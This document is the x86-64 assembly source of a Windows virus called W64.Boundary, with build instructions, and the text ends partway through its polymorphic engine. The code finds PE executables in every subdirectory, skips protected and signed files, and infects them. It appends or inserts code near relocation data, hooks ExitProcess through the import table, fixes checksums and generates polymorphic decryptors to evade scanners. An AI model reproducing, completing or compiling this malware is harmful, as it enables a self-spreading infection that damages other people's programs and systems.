| ||||||||||||||||
W64.Boundary
by roy g biv
See also the project folder ;W64.Boundary by roy g biv ; ;some of its features: ;- parasitic direct action infector of PE exe (but not looking at suffix) ;- infects files in current directory and all subdirectories ;- directory traversal is linked-list instead of recursive to reduce stack size ;- reloc section inserter/last section appender ;- new kind of EPO using bound import table: ;- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me) ;- uses CRCs instead of API names ;- uses SEH for common code exit ;- no infect files with data outside of image (eg self-extractors) ;- no infect files protected by SFC/SFP (including under Windows XP) ;- uses SEH walker to find kernel address (no hard-coded addresses) ;- correct file checksum without using imagehlp.dll :) 100% correct algorithm ;--- ; ; optimisation tip: Windows appends ".dll" automatically, so this works: ; push "cfs" ; push esp ; call LoadLibraryA ;--- ; ;to build this thing: ;yasm ;---- ;yasm -m amd64 -f win32 -o bound64.obj bound64.asm ;link bound64.obj kernel32.lib user32.lib /section:.text,erw /entry:boundary /subsystem:console ;--- ; ;We're in the middle of a phase transition: ;a butterfly flapping its wings at ;just the right moment could ;cause a storm to happen. ;-I'm trying to understand- ;I'm at a moment in my life- ;I don't know where to flap my wings. ;(Danny Hillis) bits64 extern MessageBoxA:proc extern ExitProcess:proc section .data %include "bound64.inc" global boundary section .text boundary: mov edx, krncrc_count mov ebx, krnnames mov edi, krncrcbegin call create_crcs mov edx, 2 mov ebx, ntdnames mov edi, ntdcrcbegin call create_crcs mov edx, 1 mov ebx, sfcnames mov edi, sfccrcbegin call create_crcs push CODESIZE push rsp pop rbx fld1 fild dword [rbx] fyl2x fistp dword [rbx] pop rcx inc ecx push 1 pop rax shl eax, cl sub eax, 4 mov dword [codesize_patch + 1], eax mov eax, dword [ExitProcess + 2] mov rax, qword [eax + ExitProcess + 6] mov qword [boundary_hook + 2], rax xor r9d, r9d mov r8d, txttitle mov edx, txtbody xor ecx, ecx call MessageBoxA ;----------------------------------------------------------------------------- ;everything before this point is dropper code ;----------------------------------------------------------------------------- align 4 boundary_inf align 1 enter ((findlist_size - 9) + ((statelen + 1) << 2) + 7) & -8, 0 ;Windows XP/2003 enables alignment check exception ;so some APIs fail if buffer is not qword aligned ;-9 to align at 2 qwords earlier ;because RBP saved automatically ;and other register saved next ;statelen for RNG cache push 0 ;zero findprev in findlist boundary_hook: mov rax, "rgb!rgb!" ;replaced by ExitProcess call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- krncrcbegin: ;place < 80h bytes from call for smaller code times (krncrc_count + 1) dd 0 krncrcend: dq check_ntd - krncrcend + 4 db "Boundary - roy g biv" ;at the edge of reality init_findmz: lea rdi, qword [rax + 1] find_mzhdr: ;----------------------------------------------------------------------------- ;do not use hard-coded kernel address values because it is not portable ;Microsoft used all different values for 95, 98, NT, 2000, Me, XP, 2003 ;they will maybe change again for every new release ;----------------------------------------------------------------------------- dec rdi ;sub 64kb xor di, di ;64kb align call is_pehdr jne find_mzhdr push rdi pop rbx pop rdi ;----------------------------------------------------------------------------- ;parse export table ;----------------------------------------------------------------------------- lodsq mov esi, dword [rsi + pehdr.peexport + pedir.dirrva - pehdr.pecoff - 8] lea rsi, qword [rbx + rsi + peexp.expadrrva] xor eax, eax lodsd ;Export Address Table RVA lea rdx, qword [rbx + rax] lodsd ;Name Pointer Table RVA lea rcx, qword [rbx + rax] lodsd ;Ordinal Table RVA lea rbp, qword [rbx + rax] push rcx pop rsi push_export: push rcx get_export: lodsd push rbx add rbx, rax ;Name Pointer VA or eax, -1 crc_outer: xor al, byte [rbx] push 8 pop rcx crc_inner: add eax, eax jnb crc_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) crc_skip: loop crc_inner sub cl, byte [rbx] ;carry set if not zero inc rbx ;carry not altered by inc jb crc_outer pop rbx cmp dword [rdi], eax jne get_export ;----------------------------------------------------------------------------- ;exports must be sorted alphabetically, otherwise GetProcAddress() would fail ;this allows to push addresses onto the stack, and the order is known ;----------------------------------------------------------------------------- pop rcx mov eax, esi sub eax, ecx ;Name Pointer Table VA shr eax, 1 movzx eax, word [rbp + rax - 2] ;get export ordinal mov eax, dword [rax * 4 + rdx] ;get export RVA add rax, rbx push rax scasd cmp dword [rdi], 0 jne push_export add rdi, qword [rdi + 4] jmp rdi ;----------------------------------------------------------------------------- ;get SEH support ;----------------------------------------------------------------------------- ntdll: db "ntdll", 0 check_ntd: lea rcx, qword [RIP + ntdll - $ - 7] call qword [rsp - 18h + krncrcstk.kLoadLibraryA] call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- ntdcrcbegin: ;place < 80h bytes from call for smaller code dd 0, 0, 0 ntdcrcend: dq check_sfc - ntdcrcend + 4 ;----------------------------------------------------------------------------- ;get SFC support ;----------------------------------------------------------------------------- sfc_os: db "sfc_os", 0 ;Windows XP/2003 (forwarder chain from sfc.dll) check_sfc: lea rcx, qword [RIP + sfc_os - $ - 7] call qword [rsp - 8 + krncrcstk.kLoadLibraryA] call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- sfccrcbegin: ;place < 80h bytes from call for smaller code dd 0, 0 sfccrcend: dq scan_dirinit - sfccrcend + 4 ;----------------------------------------------------------------------------- ;non-recursive directory traverser ;----------------------------------------------------------------------------- scan_dirinit: lea rbp, qword [rsp + krncrcstk.kGlobalAlloc] ;position about halfway, to reduce code size lea rsi, qword [rbp + krncrcstk_size - krncrcstk.kGlobalAlloc] call qword [rbp + krncrcstk.kGetTickCount - krncrcstk.kGlobalAlloc] lea rdi, qword [rsi + ((findlist_size + 7) & -8)] call randinit scan_dir: ;rbp -> platform APIs, rsi -> findlist push '*' ;ANSI-compatible Unicode findmask lea rbx, qword [rsi + findlist.finddata] push rbx pop rdx push rsp pop rcx call qword [rbp + krncrcstk.kFindFirstFileW - krncrcstk.kGlobalAlloc] pop rcx mov qword [rsi + findlist.findhand], rax inc rax je find_prev ;you must always step forward from where you stand test_dirfile: mov eax, dword [rbx + WIN32_FIND_DATA.dwFileAttributes] lea rdi, qword [rsi + findlist.finddata + WIN32_FIND_DATA.cFileName] test al, FILE_ATTRIBUTE_DIRECTORY je test_file cmp byte [rdi], '.' ;ignore . and .. (but also .* directories under NT/2000/XP) je find_next ;----------------------------------------------------------------------------- ;enter subdirectory, and allocate another list node ;----------------------------------------------------------------------------- push rdi pop rcx call qword [rbp + krncrcstk.kSetCurrentDirectoryW - krncrcstk.kGlobalAlloc] xchg ecx, eax jrcxz find_next push rax mov edx, findlist_size xor ecx, ecx ;GMEM_FIXED call qword [rbp + krncrcstk.kGlobalAlloc - krncrcstk.kGlobalAlloc] xchg rcx, rax pop rax jrcxz step_updir xchg rsi, rcx mov qword [rsi + findlist.findprev], rcx jmp scan_dir find_next: lea rbx, qword [rsi + findlist.finddata] mov rdi, qword [rsi + findlist.findhand] push rbx pop rdx push rdi pop rcx call qword [rbp + krncrcstk.kFindNextFileW - krncrcstk.kGlobalAlloc] test eax, eax jne test_dirfile ;----------------------------------------------------------------------------- ;close find, and free list node if not list head ;----------------------------------------------------------------------------- push rdi pop rcx call qword [rbp + krncrcstk.kFindClose - krncrcstk.kGlobalAlloc] find_prev: mov rcx, qword [rsi + findlist.findprev] jrcxz boundary_exit ;game over xchg rsi, rcx push rax call qword [rbp + krncrcstk.kGlobalFree - krncrcstk.kGlobalAlloc] pop rax step_updir: ;----------------------------------------------------------------------------- ;the ANSI string ".." can be used, even on Unicode platforms ;----------------------------------------------------------------------------- push '..' push rsp pop rcx call qword [rbp + krncrcstk.kSetCurrentDirectoryA - krncrcstk.kGlobalAlloc] pop rax jmp find_next boundary_exit: jmp qword [rbp + krncrcstk.kExitProcess - krncrcstk.kGlobalAlloc] test_file: ;----------------------------------------------------------------------------- ;get full path ;----------------------------------------------------------------------------- push rax ;save original file attributes for close enter MAX_PATH * 2, 0 mov r8, rsp push rax mov r9, rsp mov edx, MAX_PATH push rdi pop rcx call qword [rbp + 10h + krncrcstk.kGetFullPathNameW] pop rax ;----------------------------------------------------------------------------- ;don't touch protected files ;----------------------------------------------------------------------------- push rsp pop rdx xor ecx, ecx call qword [rbp + 10h + krncrcstk.kSfcIsFileProtected] leave test eax, eax jne restore_attr xor ebx, ebx call set_fileattr push rbx push rbx push OPEN_EXISTING sub rsp, 20h xor r9, r9 xor r8d, r8d mov edx, GENERIC_READ | GENERIC_WRITE push rdi pop rcx call qword [rbp + krncrcstk.kCreateFileW - krncrcstk.kGlobalAlloc] add rsp, 38h xchg ebx, eax call test_infect db 81h ;mask CALL call infect_file ;Super Nashwan power ;) lea r9, qword [rsi + findlist.finddata + WIN32_FIND_DATA.ftLastWriteTime] lea r8, qword [rsi + findlist.finddata + WIN32_FIND_DATA.ftLastAccessTime] cqo push rbx pop rcx call qword [rbp + krncrcstk.kSetFileTime - krncrcstk.kGlobalAlloc] push rbx pop rcx call qword [rbp + krncrcstk.kCloseHandle - krncrcstk.kGlobalAlloc] restore_attr: pop rbx ;restore original file attributes call set_fileattr jmp find_next ;scan_dir endp ;----------------------------------------------------------------------------- ;look for MZ and PE file signatures ;----------------------------------------------------------------------------- is_pehdr: ;rdi -> map view cmp word [rdi], 'MZ' ;Windows does not check 'ZM' jne pehdr_ret movzx rsi, word [rdi + mzhdr.mzlfanew] cmp word [rdi], si jb pehdr_ret add rsi, rdi lodsd ;SEH protects against bad lfanew value add eax, -'PE' ;anti-heuristic test filetype ;) and clear EAX pehdr_ret: ret ;if PE file, then eax = 0, rsi -> COFF header, Z flag set ;is_pehdr endp ;----------------------------------------------------------------------------- ;reset/set read-only file attribute ;----------------------------------------------------------------------------- set_fileattr: ;ebx = file attributes, rsi -> findlist, rbp -> platform APIs lea rdi, qword [rsi + findlist.finddata + WIN32_FIND_DATA.cFileName] mov edx, ebx push rdi pop rcx call qword [rbp + krncrcstk.kSetFileAttributesW - krncrcstk.kGlobalAlloc] ret db "08/07/06" ;05, 04, 03, 02, 01... launch poly on 64-bit! ;set_fileattr endp ;----------------------------------------------------------------------------- ;test if file is infectable (not protected, PE, x86-64, non-system, not infected, etc) ;----------------------------------------------------------------------------- test_infect: ;ebx = file handle, rsi = findlist, rbp -> platform APIs call map_view push rsi pop rbp call is_pehdr jne inftest_ret lodsd cmp ax, IMAGE_FILE_MACHINE_AMD64 jne inftest_ret ;only AMD x86-64 shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8 lea edx, dword [rax * 4 + rax] ;complete multiply by 28h (size pesect) mov ecx, dword [rsi + coffhdr.peflags - coffhdr.petimedate] ;----------------------------------------------------------------------------- ;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them ;executable file... ;----------------------------------------------------------------------------- and cx, IMAGE_FILE_SYSTEM | IMAGE_FILE_UP_SYSTEM_ONLY | IMAGE_FILE_EXECUTABLE_IMAGE cmp cx, IMAGE_FILE_EXECUTABLE_IMAGE jne inftest_ret add rsi, pehdr.pesubsys - pehdr.pemagic + coffhdr_size - coffhdr.petimedate ;----------------------------------------------------------------------------- ;the COFF magic value is not checked because Windows ignores it anyway ;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+ ;----------------------------------------------------------------------------- lodsd cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI jnbe inftest_ret cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0 jb inftest_ret shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h jb inftest_ret ;----------------------------------------------------------------------------- ;avoid files which seem to contain attribute certificates ;because one of those certificates might be a digital signature ;----------------------------------------------------------------------------- cmp dword [rsi + pehdr.pesecurity + pedir.dirrva - pehdr.pestackmax], eax jnbe inftest_ret ;----------------------------------------------------------------------------- ;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size ;the Optional Header can be larger than the offset of the last directory ;remember: even if you have not seen it does not mean that it does not happen :) ;----------------------------------------------------------------------------- movzx eax, word [rsi + pehdr.pecoff + coffhdr.peopthdrsize - pehdr.pestackmax] add eax, edx push rsi lea rsi, qword [rsi + rax + pehdr.pecoff - pehdr.pestackmax - pesect_size + pesect.sectrawsize] lodsd add eax, dword [rsi] cmp dword [rbp + findlist.finddata + WIN32_FIND_DATA.dwFileSizeLow], eax push rsi pop rax pop rsi jne inftest_ret ;file contains appended data mov ebx, dword [rsi + pehdr.pefilealign - pehdr.pestackmax] lea ecx, dword [rbx + ADDSIZE - 1] neg ebx and ecx, ebx add dword [rbp + findlist.finddata + WIN32_FIND_DATA.dwFileSizeLow], ecx mov rdx, qword [rsp + mapsehstk.mapsehregs + 10h] ;retrieve -> platform APIs mov rdx, qword [rdx + krncrcstk.kExitProcess - krncrcstk.kGlobalAlloc] call gather_info adc qword [rsp + mapsehstk.mapsehinfret], 0 ;skip call mask if found inftest_ret: int 3 gather_info: mov ecx, dword [rsi + pehdr.pebound + pedir.dirrva - pehdr.pestackmax] jrcxz gather_ret push rdx xchg rsi, rax xchg rbp, rax add rcx, rdi ;it's really a RVA but it always exists before first section push rcx pop rdx parse_bound: movzx eax, word [rdx + pebind.bindrva] test eax, eax je gather_pop add rdx, pebind_size mov eax, dword [rcx + rax] or eax, " " cmp eax, "kern" jne parse_bound mov ecx, dword [rbp + pehdr.peimport + pedir.dirrva - pehdr.pestackmax] call rva2raw parse_import: push rcx mov ecx, dword [rdi + rcx + peimp.impdllrva] call rva2raw mov eax, dword [rdi + rcx] pop rcx add ecx, peimp_size or eax, " " cmp eax, "kern" jne parse_import mov ecx, dword [rdi + rcx - peimp_size + peimp.impiatrva] call rva2raw xor eax, eax add rdi, rcx or ecx, -1 push rdi repne scasq pop rdi pop rax not ecx repne scasq jne gather_ret stc ret gather_pop: pop rax gather_ret: ret ;gather_info endp ;----------------------------------------------------------------------------- ;create file map, and map view if successful ;----------------------------------------------------------------------------- map_view: ;ebx = file handle, rsi -> findlist, rbp -> platform APIs lea rdx, qword [RIP + unmap_seh - $ - 7] mov cl, 1 ;non-zero call qword [rbp + krncrcstk.kAddVectoredExceptionHandler - krncrcstk.kGlobalAlloc] pop rcx push rax push rcx xor edx, edx push rdx mov edi, dword [rsi + findlist.finddata + WIN32_FIND_DATA.dwFileSizeLow] push rdi sub rsp, 20h xor r9d, r9d mov r8d, PAGE_READWRITE push rbx pop rcx call qword [rbp + krncrcstk.kCreateFileMappingA - krncrcstk.kGlobalAlloc] ;ANSI map is allowed because of no name push rax push rdi sub rsp, 20h xor r9d, r9d xor r8d, r8d push FILE_MAP_WRITE pop rdx xchg rcx, rax call qword [rbp + krncrcstk.kMapViewOfFile - krncrcstk.kGlobalAlloc] xchg rdi, rax ;should succeed even if file cannot be opened mov rdx, qword [rsp + 60h] push rbx push rbp push rsi push rdi mov qword [RIP + unmap_view - $ - 5], rsp jmp rdx unmap_seh: lea rax, qword [RIP + unmap_view - $ - 7] mov rcx, qword [rcx + EXCEPTION_POINTERS.ContextRecord] mov qword [rcx + ContextRecord_RIP], rax or eax, -1 ;EXCEPTION_CONTINUE_EXECUTION ret unmap_view: mov rsp, "rgb!rgb!" pop rdi pop rsi pop rbp pop rbx mov rcx, qword [rsp + 68h] call qword [rbp + krncrcstk.kRemoveVectoredExceptionHandler - krncrcstk.kGlobalAlloc] push rdi pop rcx call qword [rbp + krncrcstk.kUnmapViewOfFile - krncrcstk.kGlobalAlloc] mov rcx, qword [rsp + 28h] call qword [rbp + krncrcstk.kCloseHandle - krncrcstk.kGlobalAlloc] add rsp, 70h ret ;unmap_view endp ;unmap_seh endp ;map_view endp ;eax = new file size, rdi = map view ;----------------------------------------------------------------------------- ;infect file ;algorithm: increase file size by large amount to confuse scanners that ; look at end of file ; if reloc table is not in last section (taken from relocation ; field in PE header, not section name), then append to last ; section. otherwise, move relocs down and insert code into ; space (to confuse people looking at end of file. they will ; see only relocation data and garbage or many zeroes) ; ExitProcess address is altered in import table. very simple ;----------------------------------------------------------------------------- infect_file: ;rsi -> findlist, rdi = map view call map_view delta_label: push rcx push rdi mov ebx, dword [rdi + mzhdr.mzlfanew] lea rbx, qword [rbx + rdi + pehdr.pechksum] push rbx push rbp xor ecx, ecx imul cx, word [rbx + pehdr.pecoff + coffhdr.pesectcount - pehdr.pechksum], pesect_size add cx, word [rbx + pehdr.pecoff + coffhdr.peopthdrsize - pehdr.pechksum] lea rsi, qword [rbx + rcx + pehdr.pemagic - pehdr.pechksum - pesect_size + pesect.sectrawsize] lodsd mov ecx, ADDSIZE mov edx, dword [rbx + pehdr.pefilealign - pehdr.pechksum] push rax add eax, ecx dec edx add eax, edx not edx and eax, edx ;file align last section mov dword [rsi + pesect.sectrawsize - pesect.sectrawaddr], eax mov r10, rbp ;----------------------------------------------------------------------------- ;raw size is file aligned. virtual size is not required to be section aligned ;so if old virtual size is larger than new raw size, then size of image does ;not need to be updated, else virtual size must be large enough to cover the ;new code, and size of image is section aligned ;----------------------------------------------------------------------------- mov ebp, dword [rsi + pesect.sectvirtaddr - pesect.sectrawaddr] cmp dword [rsi + pesect.sectvirtsize - pesect.sectrawaddr], eax jnb test_reloff mov dword [rsi + pesect.sectvirtsize - pesect.sectrawaddr], eax add eax, ebp mov edx, dword [rbx + pehdr.pesectalign - pehdr.pechksum] dec edx add eax, edx not edx and eax, edx mov dword [rbx + pehdr.peimagesize - pehdr.pechksum], eax ;----------------------------------------------------------------------------- ;if relocation table is not in last section, then append to last section ;otherwise, move relocations down and insert code into space ;----------------------------------------------------------------------------- test_reloff: test byte [rbx + pehdr.pecoff + coffhdr.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED jne copy_code cmp dword [rbx + pehdr.pereloc + pedir.dirrva - pehdr.pechksum], ebp jb copy_code mov eax, dword [rsi + pesect.sectvirtsize - pesect.sectrawaddr] add eax, ebp cmp dword [rbx + pehdr.pereloc + pedir.dirrva - pehdr.pechksum], eax jnb copy_code add dword [rbx + pehdr.pereloc + pedir.dirrva - pehdr.pechksum], ecx pop rax push rsi mov esi, dword [rsi] add rdi, rsi lea rsi, qword [rdi + rax - 1] lea rdi, qword [rsi + rcx] xchg ecx, eax std rep movsb cld pop rsi pop rdi push rdi push rcx xchg ecx, eax copy_code: pop rdx add ebp, edx xchg ebp, eax add edx, dword [rsi] add rdi, rdx add rax, qword [rbx + pehdr.peimagebase - pehdr.pechksum] push rsi push rsi push rax push rcx push rdi mov r9d, PAGE_READWRITE mov r8d, MEM_COMMIT mov edx, ENTERSIZE + ADDSIZE - esp_delta xor ecx, ecx call qword [r10 + krncrcstk.kVirtualAlloc - krncrcstk.kGlobalAlloc] lea rsi, qword [rax - esp_delta] lea rdi, qword [rsi + ENTERSIZE] push rdi dec byte [rsi + locked] lea rbp, qword [RIP + random - $ - 7] call rbp and eax, 7ffh add eax, 1000 xor ecx, ecx loop_poly1: call poly dec eax jne short loop_poly1 mov qword [rsp + 28h], rdi lea rdx, qword [RIP + decrypt_seh - $ - 7] mov cl, 1 ;non-zero mov rax, qword [rsp + 30h] push rax call qword [rax + krncrcstk.kAddVectoredExceptionHandler - krncrcstk.kGlobalAlloc] push rax jmp decrypt_main decrypt_seh: lea rax, qword [RIP + decrypt_loop - $ - 7] mov rcx, qword [rcx + EXCEPTION_POINTERS.ContextRecord] mov qword [rcx + ContextRecord_RIP], rax or eax, -1 ;EXCEPTION_CONTINUE_EXECUTION ret decrypt_loop: mov rsp, "rgb!rgb!" pop rdi pop rsi pop rbp decrypt_main: push rbp push rsi push rdi mov qword [RIP + decrypt_loop - $ - 5], rsp call make_decrypt pop rax pop rax pop rax pop rcx pop rbx call qword [rbx + krncrcstk.kRemoveVectoredExceptionHandler - krncrcstk.kGlobalAlloc] mov al, 0e9h stosb pop rax pop rdx pop rcx push rax push rax pop rsi sub eax, edi sub eax, 4 stosd push rdx pop rdi rep movsb mov r8d, MEM_RELEASE xor edx, edx sub rsi, ADDSIZE + ENTERSIZE - esp_delta push rsi pop rcx call qword [rbx + krncrcstk.kVirtualFree - krncrcstk.kGlobalAlloc] pop rsi pop rcx pop rax ;----------------------------------------------------------------------------- ;section attributes are always altered to executable because AMD64 will require it ;always altered to writable because VectoredExceptionHandler requires stack pointer ;the write bit could be set at runtime but we lost anti-heuristic already ;----------------------------------------------------------------------------- or byte [rax + pesect.sectflags - pesect.sectrawaddr + 3], (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE) >> 18h mov rdx, qword [rbx + krncrcstk.kExitProcess - krncrcstk.kGlobalAlloc] pop rbp pop rbx pop rbx pop rdi push rdi sub ebp, esi add ebp, ecx push rbp lea rsi, qword [rbx + pehdr.pestackmax - pehdr.pechksum] call gather_info pop qword [rdi - 8] ;----------------------------------------------------------------------------- ;optional: GetProcAddress for every import, and store all Bound TimeDateStamps ;otherwise, there is chance that we will never execute ;----------------------------------------------------------------------------- pop rdi ;----------------------------------------------------------------------------- ;CheckSumMappedFile() - simply sum of all words in file, then adc filesize ;----------------------------------------------------------------------------- xor ecx, ecx xchg dword [rbx], ecx jrcxz infect_ret xor eax, eax pop rcx push rcx inc ecx shr ecx, 1 clc calc_checksum: adc ax, word [rdi] inc edi inc edi loop calc_checksum pop rcx adc eax, ecx mov dword [rbx], eax ;avoid common bug. ADC not ADD infect_ret: int 3 ;common exit using SEH db "*4U2NV*" ;that is, unless you're reading this ;test_infect endp make_decrypt: xor eax, eax push rdi push (unknown - esp_delta) >> 2 pop rcx lea rdi, qword [rsi + esp_delta] rep stosd dec eax mov cl, 10h rep stosd inc eax mov cl, (BITSIZE >> 2) + 1 add rdi, codebits - vals rep stosd pop rdi dec byte [rsi + locked] dec byte [rsi + unknown + (REG_ESP * 8)] mov dword [rsi + vals + (REG_ESP * 4)], ecx call rbp and eax, 0ffh add eax, 800 xchg ecx, eax inc_poly0: inc ecx loop_poly0: ;----------------------------------------------------------------------------- ;loop until count is zero, then continue until all registers initialised ;count overloaded as non-random flag ;----------------------------------------------------------------------------- call poly loop loop_poly0 check_reg: mov cl, 8 cdq or_unknown: cmp cl, REG_ESP + 1 je short skip_unknown or rdx, qword [rcx * 8 + rsi + unknown - 8] skip_unknown: loop or_unknown jne short inc_poly0 mov r8d, CODESIZE >> 2 mov r9d, CODESIZE >> 1 decryptor: xor ebx, ebx ;----------------------------------------------------------------------------- ;if something to pop, and able to pop ;----------------------------------------------------------------------------- call rbp test al, 1 je short check_unmarked cmp dword [rsi + stacked], ebx je short check_unmarked cmp dword [rsi + esp_delta], ebx jne short check_unmarked cmp byte [rsi + donesub], bl jne short check_unmarked mov eax, 058f66h stosd dec rdi dec dword [rsi + stacked] mov eax, dword [rsi + stacked] movzx eax, word [rax * 2 + rsi + stack] lea eax, dword [rsi + rax + ENTERSIZE - 4] sub eax, edi stosd add dword [rsi + vals + (REG_ESP * 4)], 2 dec r9d jne short jmp_poly2 ret check_unmarked: ;----------------------------------------------------------------------------- ;if unmarked values left ;----------------------------------------------------------------------------- test r8d, r8d je short jmp_poly2 cmp byte [rsi + donesub], bl jne short check_locked cmp byte [rsi + prev_op], bl ;OP_ADD jne short jmp_poly2 mov dword [rsi + esp_delta], ebx mov eax, dword [rsi + stacked] inc eax not eax add eax, eax mov bl, REG_ESP call adjust_val inc byte [rsi + donesub] jmp short jmp_poly2 check_locked: call rbp and al, 1 jne short check_prevop ;----------------------------------------------------------------------------- ;if no register locked ;----------------------------------------------------------------------------- cmp byte [rsi + locked], 0ffh jne short check_prevop get_lockedreg: call rbp and eax, 7 cmp al, REG_ESP je short get_lockedreg mov byte [rsi + locked], al xchg ebx, eax get_codebits: call rbp codesize_patch: and eax, 'rgb!' cmp eax, CODESIZE jnb short get_codebits shr eax, 2 bts dword [rsi + codebits], eax jb short get_codebits shl eax, 2 mov ecx, dword [rsi + stacked] mov word [rcx * 2 + rsi + stack + 2], ax push qword [rbp + rax + boundary_inf - random] inc eax inc eax mov word [rcx * 2 + rsi + stack], ax pop rax call adjust_val jmp_poly2: jmp short do_poly2 check_prevop: cmp byte [rsi + prev_op], bl ;OP_ADD jne short do_poly2 mov ch, al mov cl, byte [rsi + locked] test al, al je short make_move call rbp and al, 7 mov cl, al make_move: mov ax, 3091h add ah, cl rol ax, 3 stosw mov edx, dword [rsi + esp_delta] ;----------------------------------------------------------------------------- ;randomly pick one register to combine with RSP, with random scale ;----------------------------------------------------------------------------- move_reg: xor ebx, ebx call rbp and al, 0f8h or al, REG_ESP push rax mov cl, al shr al, 3 and eax, 7 cmp al, 4 je short skip_pushscale mov ebx, dword [rax * 4 + rsi + vals] shr cl, 6 shl rbx, cl push rbx pop rax add rax, rdx shr rax, 1fh skip_pushscale: pop rax jne move_reg ;signed or too big values cannot be reversed stosb add ebx, edx neg ebx xchg ebx, eax stosd test ch, ch jne short do_poly2 mov byte [rsi + locked], 0ffh dec byte [rsi + donesub] add dword [rsi + stacked], 2 dec r8d do_poly2: call rbp and eax, 7 inc eax xchg ecx, eax loop_poly2: call poly loop loop_poly2 jmp decryptor ;make_decrypt endp poly: push rax push rcx push rbp mov r10, rbp get_polyreg: ;----------------------------------------------------------------------------- ;avoid the locked register ;----------------------------------------------------------------------------- call rbp and eax, 7 cmp byte [rsi + locked], al je short get_polyreg xchg ebx, eax poly_op: ;----------------------------------------------------------------------------- ;avoid ADC/SBB if carry is not known, unless register is completely unknown ;----------------------------------------------------------------------------- call r10 and al, 38h jrcxz poly_random cmp al, OP_ADC je short poly_carry cmp al, OP_SBB jne short poly_random poly_carry: cmp byte [rsi + known_carry], bh jne short poly_random cmp qword [rbx * 8 + rsi + unknown], -1 jne short poly_op poly_random: xchg edx, eax call r10 xchg ebp, eax jrcxz poly_cmpesp mov eax, dword [rbx * 4 + rsi + vals] test dl, dl ;cmp dl, OP_ADD je short poly_signed cmp dl, OP_ADC jne short poly_subsign add eax, dword [rsi + carry] jmp short poly_signed poly_subsign: cmp dl, OP_SUB je short poly_sbbsign cmp dl, OP_SBB jne short poly_cmpesp sub eax, dword [rsi + carry] poly_sbbsign: neg eax je short poly_op ;avoid hidden overflow poly_signed: add eax, ebp js short poly_op ;work with only 31-bit values jb short poly_op ;avoid sub overflow poly_cmpesp: cmp bl, REG_ESP jne short poly_jmpstore mov eax, dword [rsi + esp_delta] cmp dl, OP_OR jne short poly_tryand ;----------------------------------------------------------------------------- ;or rsp, 0-1 (if original value, else or rsp, 0) ;----------------------------------------------------------------------------- cmp eax, 1 sbb eax, eax and eax, 1 and ebp, eax jrcxz poly_store add dword [rsi + esp_delta], ebp poly_jmpstore: jmp short poly_store poly_tryand: cmp dl, OP_AND jne short poly_trycmp ;----------------------------------------------------------------------------- ;and rsp, fffffffe-ffffffff (if original value, else and rsp, ffffffff) ;----------------------------------------------------------------------------- cmp eax, 1 cmc sbb eax, eax or eax, -2 or ebp, eax jrcxz poly_store and dword [rsi + esp_delta], ebp jmp short poly_store poly_trycmp: ;----------------------------------------------------------------------------- ;operation is new if delta is 0, or if switching to or from XOR ;(allow all ADD/SUBs or XORs to combine) ;----------------------------------------------------------------------------- cmp dl, OP_CMP je short poly_store test eax, eax je short poly_prevop mov dh, byte [rsi + prev_op] cmp dh, dl je short poly_store cmp dh, OP_XOR je short poly_revert cmp dl, OP_XOR jne short poly_store poly_revert: ;----------------------------------------------------------------------------- ;revert RSP and allow future changes ;----------------------------------------------------------------------------- xchg ebp, eax mov dl, dh cmp dh, OP_XOR je short poly_store mov dl, OP_SUB call r10 test al, 1 je short poly_adcsbb ;----------------------------------------------------------------------------- ;randomly SUB->ADD ;----------------------------------------------------------------------------- xor dl, dl neg ebp poly_adcsbb: cmp byte [rsi + known_carry], bh je short poly_prevop call r10 and al, 8 je short poly_prevop ;----------------------------------------------------------------------------- ;randomly ADC/SBB if carry is known ;----------------------------------------------------------------------------- and dl, al add dl, 10h sub ebp, dword [rsi + carry] poly_prevop: mov byte [rsi + prev_op], dl poly_store: mov al, 48h stosb mov ax, 0c081h add ah, bl add ah, dl stosw xchg ebp, eax stosd xchg edx, eax xor ah, ah mov ebp, dword [rbx * 4 + rsi + vals] test al, al ;cmp al, OP_ADD je short poly_add cmp al, OP_ADC jne short poly_trysub add edx, dword [rsi + carry] cmp bl, REG_ESP jne short poly_add mov byte [rsi + prev_op], bh ;OP_ADD poly_add: add dword [rbx * 4 + rsi + vals], edx ;----------------------------------------------------------------------------- ;if all bits are known, carry can be determined exactly ;----------------------------------------------------------------------------- cmp qword [rbx * 8 + rsi + unknown], 0 jne short poly_addesp mov ah, 1 cmp dword [rbx * 4 + rsi + vals], ebp setb al poly_addesp: ;----------------------------------------------------------------------------- ;disable RSP undo when in random mode ;----------------------------------------------------------------------------- jrcxz poly_jmpret cmp bl, REG_ESP jne short poly_jmpret add dword [rsi + esp_delta], edx jmp short poly_jmpret poly_trysub: cmp al, OP_SUB je short poly_sub cmp al, OP_SBB jne short poly_or add edx, dword [rsi + carry] poly_sub: sub dword [rbx * 4 + rsi + vals], edx ;----------------------------------------------------------------------------- ;if all bits are known, carry can be determined exactly ;----------------------------------------------------------------------------- cmp qword [rbx * 8 + rsi + unknown], 0 jne short poly_subesp mov ah, 1 cmp dword [rbx * 4 + rsi + vals], ebp setnbe al poly_subesp: ;----------------------------------------------------------------------------- ;disable RSP undo when in random mode ;----------------------------------------------------------------------------- jrcxz poly_ret cmp bl, REG_ESP jne short poly_ret mov byte [rsi + prev_op], bh ;OP_ADD sub dword [rsi + esp_delta], edx poly_jmpret: jmp short poly_ret poly_or: cmp al, OP_OR jne short poly_and or dword [rbx * 4 + rsi + vals], edx ;----------------------------------------------------------------------------- ;all set bits become known ;----------------------------------------------------------------------------- not edx jmp short poly_unknown poly_and: cmp al, OP_AND jne short poly_xor and dword [rbx * 4 + rsi + vals], edx 